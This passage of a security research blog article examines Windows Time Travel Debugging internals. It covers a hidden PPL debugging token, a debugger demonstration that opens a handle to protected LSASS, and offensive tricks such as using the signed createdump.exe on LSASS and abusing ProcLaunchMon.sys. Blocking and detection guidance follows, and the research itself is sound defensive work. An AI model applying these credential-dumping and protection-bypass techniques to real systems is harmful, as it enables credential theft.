responsible for recording all process activity, TTDRecordCPU.dll.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/deep-dive-into-the-ttd-ecosystem/image6.jpg\",alt:\"Using TTD to trace Notepad.exe\",width:\"668\",height:\"243\"})}),`\n`,(0,t.jsx)(e.p,{children:\"From that point onward, all instructions, memory accesses, exceptions triggered, or CPU states encountered during the execution will be recorded.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Once the general workflow of TTD was understood, it became clear that little to no manipulation is possible after the session initialization. Thus, further attention was paid to the arguments supported by ttdrecord.dll. Thanks to the C++ mangling function format, a lot of critical information can be retrieved from the function names themselves, which makes analyzing the command line argument parser relatively simple. One interesting flag that was discovered was PplDebuggingToken. That flag is hidden and only available in Unrestricted Mode.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/deep-dive-into-the-ttd-ecosystem/image19.jpg\",alt:\"Discovering PplDebuggingToken method\",width:\"1052\",height:\"122\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The existence of this flag immediately raised questions: TTD was architected first around Windows 7 and 8, and on Windows 8.1+. The concept of Protection Level was added to processes, dictating that processes can only open handles to a process with a \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/blog/protecting-windows-protected-processes#Protected%20process%20light:%7E:text=a%20kernel%20driver.-,Protected%20process%20light,-\",rel:\"nofollow\",children:\"Protection Level\"}),\" that is equal or inferior. It is a simple byte in the _EPROCESS structure in the kernel, and thus not directly modifiable from user mode.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/deep-dive-into-the-ttd-ecosystem/image11.jpg\",alt:\"Binary diff comparing TTD on Windows 8 with Windows 8.1\",width:\"1440\",height:\"439\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The values of the Protection Level byte are well known and are summarized in the table below.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/deep-dive-into-the-ttd-ecosystem/image20.png\",alt:\"Protection Level value mappings\",width:\"842\",height:\"587\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The Local Security Authority subsystem (lsass.exe) on Windows \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection\",rel:\"nofollow\",children:\"can be configured\"}),\" to run as Protected Process Light, which aims to limit the reach of an intruder who gains maximum privileges on a host. By acting at the kernel level, no user-mode process can open a handle to lsass, no matter how privileged.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/deep-dive-into-the-ttd-ecosystem/image2.jpg\",alt:\"Verifying LSASS protection level\",width:\"997\",height:\"132\"})}),`\n`,(0,t.jsx)(e.p,{children:\"But the PplDebuggingToken flag appears to suggest otherwise. If such a flag existed, it would be the dream of any pentester/red teamer: a (magic) token that would allow them to inject into protected processes and record them, dump their memory or more. The command line parser seems to imply that the content of the command flag is a mere wide-string. Could this be a PPL backdoor?\"}),`\n`,(0,t.jsx)(e.h3,{id:\"chasing-after-the-ppl-debugging-token\",children:\"Chasing after the PPL debugging token\"}),`\n`,(0,t.jsx)(e.p,{children:\"Returning to ttdrecord.dll, the PplDebuggingToken command line option is parsed and stored in a context structure along with all of the options required to create the TTD session. The value can be traced down to several locations, with an interesting one being within TTD::InitializeForAttach, whose behavior is simplified in the following pseudo-code:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`ErrorCode TTD::InitializeForAttach(TtdSession *ctx)\n{\n [...]\n EnableDebugPrivilege(GetCurrentProcess()); // [1]\n HANDLE hProcess = OpenProcess(0x101040u, 0, ctx-\u003edwProcessId);\n if(hProcess == INVALID_HANDLE_VALUE)\n {\n goto Exit;\n }\n [...]\n HMODULE ModuleHandleW = GetModuleHandleW(L\"crypt32.dll\");\n if ( ModuleHandleW )\n pfnCryptStringToBinaryW = GetProcAddress(ModuleHandleW, \"CryptStringToBinaryW\"); // [2]\n\n if ( ctx-\u003eProcessDebugInformationLength ) // [3]\n {\nDecodedProcessInformationLength = ctx-\u003eProcessDebugInformationLength;\nDecodedProcessInformation = std::vector\u003cunsigned char\u003e(DecodedProcessInformationLength);\nwchar_t* b64PplDebuggingTokenArg = ctx-\u003eCmdLine_PplDebugToken;\nif ( *pfnCryptStringToBinaryW )\n{\n if( ERROR_SUCCESS == pfnCryptStringToBinaryW( // [4]\n b64PplDebuggingTokenArg,\n DecodedProcessInformationLength,\n CRYPT_STRING_BASE64,\n DecodedProcessInformation.get(),\n \u0026DecodedProcessInformationLength,\n 0, 0))\n {\n Status = NtSetInformationProcess( // [5]\n NtGetCurrentProcess(),\n ProcessDebugAuthInformation,\n DecodedProcessInformation.get(),\n DecodedProcessInformationLength);\n }\n[...]\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"After enabling the SeDebugPrivilege flag for the current process ([1]) and obtaining a handle to the process to attach to ([2]), the function resolves an exported generic function used to perform string operations: crypt32!CryptStringToBinaryW. In this instance, it is used for decoding the base64-encoded value of the PplDebuggingToken context option if it was provided by the command line( [3], [4]). The decoded value is then used to invoke the syscall NtSetInformationProcess(ProcessDebugAuthInformation) ([5]). The token doesn\\u2019t seem to be used anywhere else, which made us scrutinize that syscall.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The process information class ProcessDebugAuthInformation was added in \",(0,t.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/Windows_10_version_1803\",rel:\"nofollow\",children:\"RS4\"}),\". A quick look at ntoskrnl shows that this syscall simply passes the buffer to CiSetInformationProcess located in ci.dll, which is the Code Integrity driver DLL. The buffer is then passed to ci!CiSetDebugAuthInformation with fully controlled arguments.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/deep-dive-into-the-ttd-ecosystem/image8.jpg\",alt:\"ProcessDebugAuthInformation class\",width:\"1238\",height:\"301\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The following diagram summarizes at a high level where this happens in the execution flow of TTD.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/deep-dive-into-the-ttd-ecosystem/image24.png\",alt:\"TTD execution flow diagram\",width:\"886\",height:\"497\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The execution flow in CiSetDebugAuthInformation is simple enough: the buffer with the base64-decoded PplDebuggingToken and its length are passed as arguments for parsing and validation to ci!SbValidateAndParseDebugAuthToken. Should the validation succeed, and after some extra validation, a handle to the process performing the syscall (remember that we\\u2019re still handling the syscall nt!NtSetInformationProcess) will be inserted in a process debug information object then stored in a global list entry.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/deep-dive-into-the-ttd-ecosystem/image16.jpg\",alt:\"SbValidateAndParseDebugAuthToken method\",width:\"1440\",height:\"984\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"But how is that interesting? Because this list is only accessed in a single location: in ci!CiCheckProcessDebugAccessPolicy, and this function is reached during a NtOpenProcess syscall. And, as the name of the newly discovered flag suggested earlier, any process whose PID is located in that list would bypass the Protection Level enforcement. This was confirmed practically in a \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugging-using-kd-and-ntkd\",rel:\"nofollow\",children:\"KD\"}),\" session by setting an access breakpoint on that list (on our version of ci.dll this was located at ci+364d8). We also \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection\",rel:\"nofollow\",children:\"enabled PPL on LSASS\"}),\" and wrote a simple PowerShell script that would trigger a NtOpenProcess syscall:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/deep-dive-into-the-ttd-ecosystem/image12.jpg\",alt:\"KD session output\",width:\"897\",height:\"453\"})}),`\n`,(0,t.jsx)(e.p,{children:\"By breaking at the call to nt!PsTestProtectedProcessIncompatibility in nt!PspProcessOpen, we can confirm that our PowerShell process attempts to target lsass.exe, which is a PPL process:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/deep-dive-into-the-ttd-ecosystem/image4.jpg\",alt:\"Confirming our PowerShell process targets a PPL process in LSASS\",width:\"1181\",height:\"444\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Now to confirm the initial theory of what the PplDebuggingToken argument would do by forcing the return value of the call to nt!PsTestProtectedProcessIncompatibility:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/deep-dive-into-the-ttd-ecosystem/image23.jpg\",alt:\"Testing TTD with PowerShell\",width:\"836\",height:\"292\"})}),`\n`,(0,t.jsx)(e.p,{children:\"We break at the instruction following the call to nt!PsTestProtectedProcessIncompatibility (which only calls CI!CiCheckProcessDebugAccessPolicy), and force the return value to 0 (as mentioned earlier a value of 1 means incompatible):\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/deep-dive-into-the-ttd-ecosystem/image5.jpg\",alt:\"Obtaining a handle to LSASS\",width:\"1295\",height:\"857\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Success! We obtained a handle to LSASS despite it being PPL, confirming our theory. Summarizing, if we can find a \\u201Cvalid value\\u201D (we\\u2019ll dig into that soon) it will pass the check of SbValidateAndParseDebugAuthToken() in ci!CiSetDebugAuthInformation(), and we would have a universal PPL bypass. If this sounds too good to be true, that\\u2019s mostly because it is \\u2014 but confirming it requires developing a better understanding of what CI.dll is doing.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"understanding-code-integrity-policies\",children:\"Understanding Code Integrity policies\"}),`\n`,(0,t.jsx)(e.p,{children:'Restrictions based on code integrity, such as those used by AppLocker, can be enforced through policies, which in their human readable form are XML files. There are two types of policies: base and supplemental. Examples of what base policies look like can be found in their XML format in \"C:\\\\Windows\\\\schemas\\\\CodeIntegrity\\\\ExamplePolicies\". This is what a Base Policy looks like in its XML form (taken from \"C:\\\\Windows\\\\schemas\\\\CodeIntegrity\\\\ExamplePolicies\\\\AllowAll.xml\"), which reveals most of the details we\\u2019re interested in clearly in plaintext.'}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`\u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e\n\u003cSiPolicy xmlns=\"urn:schemas-microsoft-com:sipolicy\"\u003e\n\u003cVersionEx\u003e1.0.1.0\u003c/VersionEx\u003e\n\u003cPolicyID\u003e{A244370E-44C9-4C06-B551-F6016E563076}\u003c/PolicyID\u003e\n\u003cBasePolicyID\u003e{A244370E-44C9-4C06-B551-F6016E563076}\u003c/BasePolicyID\u003e\n\u003cPlatformID\u003e{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}\u003c/PlatformID\u003e\n\u003cRules\u003e\n\u003cRule\u003e\u003cOption\u003eEnabled:Unsigned System Integrity Policy\u003c/Option\u003e\u003c/Rule\u003e\n\u003cRule\u003e\u003cOption\u003eEnabled:Advanced Boot Options Menu\u003c/Option\u003e\u003c/Rule\u003e\n\u003cRule\u003e\u003cOption\u003eEnabled:UMCI\u003c/Option\u003e\u003c/Rule\u003e\n\u003cRule\u003e\u003cOption\u003eEnabled:Update Policy No Reboot\u003c/Option\u003e\u003c/Rule\u003e\n\u003c/Rules\u003e\n\u003c!--EKUS-- \u003e\n\u003cEKUs /\u003e\n\u003c!--File Rules-- \u003e\n\u003cFileRules\u003e\n\u003cAllow ID=\"ID_ALLOW_A_1\" FileName=\"*\" /\u003e\n\u003cAllow ID=\"ID_ALLOW_A_2\" FileName=\"*\" /\u003e\n\u003c/FileRules\u003e\n\u003c!--Signers-- \u003e\n\u003cSigners /\u003e\n\u003c!--Driver Signing Scenarios-- \u003e\n\u003cSigningScenarios\u003e\n\u003cSigningScenario Value=\"131\" ID=\"ID_SIGNINGSCENARIO_DRIVERS_1\" FriendlyName=\"Auto generated policy on 08-17-2015\"\u003e\n \u003cProductSigners\u003e\n \u003cFileRulesRef\u003e\u003cFileRuleRef RuleID=\"ID_ALLOW_A_1\" /\u003e\u003c/FileRulesRef\u003e\n \u003c/ProductSigners\u003e\n\u003c/SigningScenario\u003e\n\u003cSigningScenario Value=\"12\" ID=\"ID_SIGNINGSCENARIO_WINDOWS\" FriendlyName=\"Auto generated policy on 08-17-2015\"\u003e\n \u003cProductSigners\u003e\n \u003cFileRulesRef\u003e\u003cFileRuleRef RuleID=\"ID_ALLOW_A_2\" /\u003e\u003c/FileRulesRef\u003e\n \u003c/ProductSigners\u003e\n\u003c/SigningScenario\u003e\n\u003c/SigningScenarios\u003e\n\u003cUpdatePolicySigners /\u003e\n\u003cCiSigners /\u003e\n\u003cHvciOptions\u003e0\u003c/HvciOptions\u003e\n\u003cSettings\u003e\n\u003cSetting Provider=\"PolicyInfo\" Key=\"Information\" ValueName=\"Name\"\u003e\n \u003cValue\u003e\u003cString\u003eAllowAll\u003c/String\u003e\u003c/Value\u003e\n\u003c/Setting\u003e\n\u003cSetting Provider=\"PolicyInfo\" Key=\"Information\" ValueName=\"Id\"\u003e\n \u003cValue\u003e\u003cString\u003e041417\u003c/String\u003e\u003c/Value\u003e\n\u003c/Setting\u003e\n\u003c/Settings\u003e\n\u003c/SiPolicy\u003e\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"XML-formatted policies can be compiled to a binary format using the ConvertFrom-CiPolicy PowerShell cmdlet:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/deep-dive-into-the-ttd-ecosystem/image14.jpg\",alt:\"Compiling XML-formatted policies\",width:\"928\",height:\"389\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Base Policies allow for fine granularity, with the ability to restrict by name, path, hash, or signer (with or without specific \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88\",rel:\"nofollow\",children:\"EKU\"}),\"); but also in their action mode (Audit or Enforced).\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Supplemental Policies were designed as an extension of Base Policies to provide more flexibility allowing, for instance, policies to apply (or not) to a specific group of workstations or servers. Therefore, they are more specific, but can also be more permissive than the Base Policy should be. Interestingly, before 2016, supplemental policies \",(0,t.jsx)(e.a,{href:\"https://openrt.gitbook.io/open-surfacert/common/boot-sequence/uefi/secure-boot/windows-bootmanager-exploit\",rel:\"nofollow\",children:\"were not bound to a specific device\"}),\", allowing otherwise mitigated bypasses fixed by \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-094\",rel:\"nofollow\",children:\"MS16-094\"}),\" and \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-100\",rel:\"nofollow\",children:\"MS16-100\"}),\" that were \",(0,t.jsx)(e.a,{href:\"https://arstechnica.com/information-technology/2016/08/microsoft-secure-boot-firmware-snafu-leaks-golden-key\",rel:\"nofollow\",children:\"broadly covered\"}),\" by the media.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Keeping that information in mind, it is possible to get back to ci!SbValidateAndParseDebugAuthToken with more clarity: the function essentially follows three steps: 1. Call ci!SbParseAndVerifySignedSupplementalPolicy to parse the input buffer from the syscall and determine if it\\u2019s a validly-signed Supplemental Policy 2. Call ci!SbIsSupplementalPolicyBoundToDevice to compare the DeviceUnlockId from the supplemental policy to that of the current system; such values can be easily retrieved using the syscall NtQuerySystemEnvironmentValueEx with the GUID \",(0,t.jsx)(e.a,{href:\"https://oofhours.com/2019/09/02/geeking-out-with-uefi/\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"{EAEC226F-C9A3-477A-A826-DDC716CDC0E3}\"})}),\"3. Finally, extract two variables from the policy: an integer (DWORD) which corresponds to the Protection Level, and a (UNICODE_STRING) Debug Authorization.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Since it is possible to craft policy files (via XML or PowerShell scripting), Step 3 is not a problem. Neither is Step 2, as the DeviceUnlockId can be forged with the syscall \",(0,t.jsx)(e.code,{children:\"NtSetSystemEnvironmentValueEx({EAEC226F-C9A3-477A-A826-DDC716CDC0E3})\"}),\" as long as we have the SeSystemEnvironmentPrivilege privilege. However, it should be noted that the UnlockId is a volatile value that will be restored upon reboot.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/deep-dive-into-the-ttd-ecosystem/image26.jpg\",alt:\"Forging UnLockId\",width:\"966\",height:\"537\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"However, bypassing Step 1 is virtually impossible, as it requires : - to own the private key for a Microsoft-owned certificates with the particular \",(0,t.jsx)(e.a,{href:\"http://oid-info.com/get/1.3.6.1.4.1.311.10.3.6\",rel:\"nofollow\",children:\"OID 1.3.6.1.4.1.311.10.3.6\"}),\"(i.e. - MS NT5 Lab (szOID_NT5_CRYPTO)) - and that the aforementioned certificate must not be revoked or expired\"]}),`\n`,(0,t.jsx)(e.p,{children:\"So, where does that leave us? We have now confirmed that, contrary to conventional wisdom, PPL processes can be opened by another process without the extra step of loading a kernel driver. However, it should also be stressed that such a use case is niche, since only Microsoft (literally) holds the keys to using this technique for very targeted machines. Nevertheless, such a case is still a great example of an air gap use of CI for debugging purposes.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"offensive-ttd\",children:\"Offensive TTD\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Note: As a reminder, TTD.exe requires elevated privileges which all of the techniques discussed below assume.\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Throughout this research, we discovered some potentially interesting offensive and defensive use cases of TTD.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"tracing--debugging\",children:\"Tracing != Debugging\"}),`\n`,(0,t.jsx)(e.p,{children:\"TTD is not a debugger! Therefore, it will work perfectly undetected for processes that perform a basic anti-debugging check, like using IsDebuggerPresent() (or any other way that depends on PEB.BeingDebugged). The following screenshot illustrates this detail by making TTD attach to a simple notepad process:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/deep-dive-into-the-ttd-ecosystem/image1.jpg\",alt:\"Attaching to Notepad.exe with TTD\",width:\"678\",height:\"259\"})}),`\n`,(0,t.jsx)(e.p,{children:\"From a debugger we can check the BeingDebugged field located in the notepad PEB, which shows that the flag is not set:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/deep-dive-into-the-ttd-ecosystem/image21.jpg\",alt:\"Verifying Notepad.exe BeingDebugged reports unset\",width:\"1057\",height:\"50\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"the-curious-case-of-proclaunchmon\",children:\"The curious case of ProcLaunchMon\"}),`\n`,(0,t.jsx)(e.p,{children:\"Another interesting trick made available by TTD is abusing the built-in Windows driver ProcLaunchMon.sys. When running as a service (i.e. TTDService.exe), ttdrecord.dll will create the service instance, load the driver, and communicate with the device available at .\\\\com_microsoft_idna_ProcLaunchMon to register newly traced clients.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The driver itself will be used to monitor new processes created by the TTD service and then suspend those processes directly from the kernel, thus bypassing any protection that solely monitors process creation with the creation flag CREATE_SUSPENDED (as mentioned \",(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1055/012/#detection\",rel:\"nofollow\",children:\"here\"}),\" for instance). We developed a basic Device Driver client for this research, which can be found \",(0,t.jsx)(e.a,{href:\"https://gist.github.com/calladoum-elastic/328068f19e60a76b00f20cdb936cd078\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/deep-dive-into-the-ttd-ecosystem/image3.jpg\",alt:\"Using ProcLaunchMon to monitor Notepad.exe\",width:\"1277\",height:\"959\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"createdumpexe\",children:\"CreateDump.exe\"}),`\n`,(0,t.jsx)(e.p,{children:'Another fun fact: even though it is not strictly part of TTD, the WinDbgX package provides a .NET signed binary whose name perfectly summarizes its functionality: createdump.exe. This binary is located at \"C:\\\\Program Files\\\\WindowsApps\\\\Microsoft.WinDbg_*\\\\createdump.exe\".'}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/deep-dive-into-the-ttd-ecosystem/image9.jpg\",alt:\"CreateDump.exe metadata\",width:\"837\",height:\"585\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"This binary can be used to snapshot and dump the context of a process provided as an argument, in the direct lineage of other \",(0,t.jsx)(e.a,{href:\"https://lolbas-project.github.io\",rel:\"nofollow\",children:\"LOLBAS\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/deep-dive-into-the-ttd-ecosystem/image22.jpg\",alt:\"Using CreateDump.exe to interact with LSASS\",width:\"1137\",height:\"397\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"This once more highlights the need to avoid relying on static signatures and filename blocklist entries to protect against attacks such as credential dumping and favor more robust approaches such as \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection\",rel:\"nofollow\",children:\"RunAsPPL\"}),\", \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage\",rel:\"nofollow\",children:\"Credential Guard\"}),\", or \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/whats-new.html#_endpoint_enhancements\",rel:\"nofollow\",children:\"Elastic Endpoint\\u2019s Credential Hardening\"}),\".\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"defensive-ttd\",children:\"Defensive TTD\"}),`\n`,(0,t.jsx)(e.h3,{id:\"blocking-ttd\",children:\"Blocking TTD\"}),`\n`,(0,t.jsx)(e.p,{children:'Though TTD is an extremely useful feature, cases where it would be required to be enabled on non-development or test machines (such as production servers or workstations) are rare. Even though this seems largely undocumented at the time of this writing, ttdrecord.dll allows an early exit scenario by simply creating or updating a registry key located under \"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\TTD\", and updating the DWORD32 value RecordingPolicy to 2. Further attempts to use any TTD service (TTD.exe, TTDInject.exe, TTDService.exe) will be stopped and an ETW event will be generated to track attempts.'}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/deep-dive-into-the-ttd-ecosystem/image15.jpg\",alt:\"Using the Registry to interfere with TTD\",width:\"848\",height:\"262\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"detecting-ttd\",children:\"Detecting TTD\"}),`\n`,(0,t.jsx)(e.p,{children:\"Preventing the use of TTD might be too extreme for all environments \\u2014 however, several indicators exist for detecting the use of TTD. A process being traced has the following properties:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"One thread will be running the code from TTDRecordCPU.dll, which can be verified using a simple built-in Windows command: tasklist /m TTDRecordCPU.dll\"}),`\n`,(0,t.jsx)(e.li,{children:\"Even though this can be bypassed, the parent PID of the recorded process (or the first one, in case recursive tracing is enabled), would be TTD.exe itself:\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/deep-dive-into-the-ttd-ecosystem/image18.jpg\",alt:\"Monitoring TTD\",width:\"1386\",height:\"104\"})}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Also, the _KPROCESS.InstrumentationCallback pointer would be set to land in the TTDRecordCPU.dll BSS section of the executable:\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/deep-dive-into-the-ttd-ecosystem/image25.jpg\",alt:\"IntrementationCallback\",width:\"1440\",height:\"406\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Therefore, detecting tracing from TTD can be achieved through both User-Mode and Kernel-Mode methods.\"}),`\n`,(0,t.jsx)(e.h1,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,t.jsx)(e.p,{children:\"This concludes the first part of this \\u201COn-Week\\u201D research focused on TTD. Digging into the internals of the TTD ecosystem revealed some very interesting, lesser-known mechanisms built-in to Windows, which are required to make TTD work for certain edge cases \\u2014 such as the tracing of PPL processes.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Even though this research didn\\u2019t unveil a new secret backdoor for targeting PPL processes, it did show an unexplored technique built into Windows to do so. If anything, this research highlights the importance of a model based on strong cryptography (here through CI.dll), and how it can bring a lot of flexibility \\u2014 while maintaining a high level of security \\u2014 when implemented adequately.\"}),`\n`,(0,t.jsx)(e.p,{children:\"The second part of this series will be less research-oriented and more hands-on with the release of a small tool we also developed as part of On-Week. This assists in the process of binary analysis through TTD, using the Windows Sandbox.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"acknowledgement\",children:\"Acknowledgement\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"As this research was already concluded and the article in progress, the author became aware of research that covered a similar subject and findings regarding that very same technique (PPL debugging token). That research was performed by Lucas George (from the company Synacktiv), who presented his findings at \",(0,t.jsx)(e.a,{href:\"https://www.sstic.org/2022/presentation/supreme_ttd_-_that_s_my_ppl/\",rel:\"nofollow\",children:\"SSTIC 2022\"}),\".\"]})]})}function v(i={}){let{wrapper:e}=i.components||{};return e?(0,t.jsx)(e,Object.assign({},i,{children:(0,t.jsx)(d,i)})):d(i)}var D=v;return y(P);})();\n;return Component;"},"_id":"articles/deep-dive-into-the-ttd-ecosystem.mdx","_raw":{"sourceFilePath":"articles/deep-dive-into-the-ttd-ecosystem.mdx","sourceFileName":"deep-dive-into-the-ttd-ecosystem.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/deep-dive-into-the-ttd-ecosystem"},"type":"Article","imageUrl":"/assets/images/deep-dive-into-the-ttd-ecosystem/photo-edited-02-w.jpg","readingTime":"20 min read","series":"","url":"/deep-dive-into-the-ttd-ecosystem","headings":[{"level":2,"title":"Command line parameters","href":"#command-line-parameters"},{"level":2,"title":"TTD process injection","href":"#ttd-process-injection"},{"level":3,"title":"Chasing after the PPL debugging token","href":"#chasing-after-the-ppl-debugging-token"},{"level":3,"title":"Understanding Code Integrity policies","href":"#understanding-code-integrity-policies"},{"level":2,"title":"Offensive TTD","href":"#offensive-ttd"},{"level":3,"title":"Tracing != Debugging","href":"#tracing--debugging"},{"level":3,"title":"The curious case of ProcLaunchMon","href":"#the-curious-case-of-proclaunchmon"},{"level":3,"title":"CreateDump.exe","href":"#createdumpexe"},{"level":2,"title":"Defensive TTD","href":"#defensive-ttd"},{"level":3,"title":"Blocking TTD","href":"#blocking-ttd"},{"level":3,"title":"Detecting TTD","href":"#detecting-ttd"},{"level":2,"title":"Acknowledgement","href":"#acknowledgement"}],"author":[{"title":"Christophe Alladoum","slug":"christophe-alladoum","body":{"raw":"","code":"var Component=(()=\u003e{var l=Object.create;var a=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var d=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,h=Object.prototype.hasOwnProperty;var p=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),_=(t,e)=\u003e{for(var n in e)a(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of d(e))!h.call(t,o)\u0026\u0026o!==n\u0026\u0026a(t,o,{get:()=\u003ee[o],enumerable:!(s=x(e,o))||s.enumerable});return t};var g=(t,e,n)=\u003e(n=t!=null?l(f(t)):{},u(e||!t||!t.__esModule?a(n,\"default\",{value:t,enumerable:!0}):n,t)),j=t=\u003eu(a({},\"__esModule\",{value:!0}),t);var i=p((b,c)=\u003e{c.exports=_jsx_runtime});var F={};_(F,{default:()=\u003eD,frontmatter:()=\u003eC});var r=g(i()),C={title:\"Christophe Alladoum\",slug:\"christophe-alladoum\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var D=M;return j(F);})();\n;return Component;"},"_id":"authors/christophe-alladoum.mdx","_raw":{"sourceFilePath":"authors/christophe-alladoum.mdx","sourceFileName":"christophe-alladoum.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/christophe-alladoum"},"type":"Author","imageUrl":"","url":"/authors/christophe-alladoum"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var 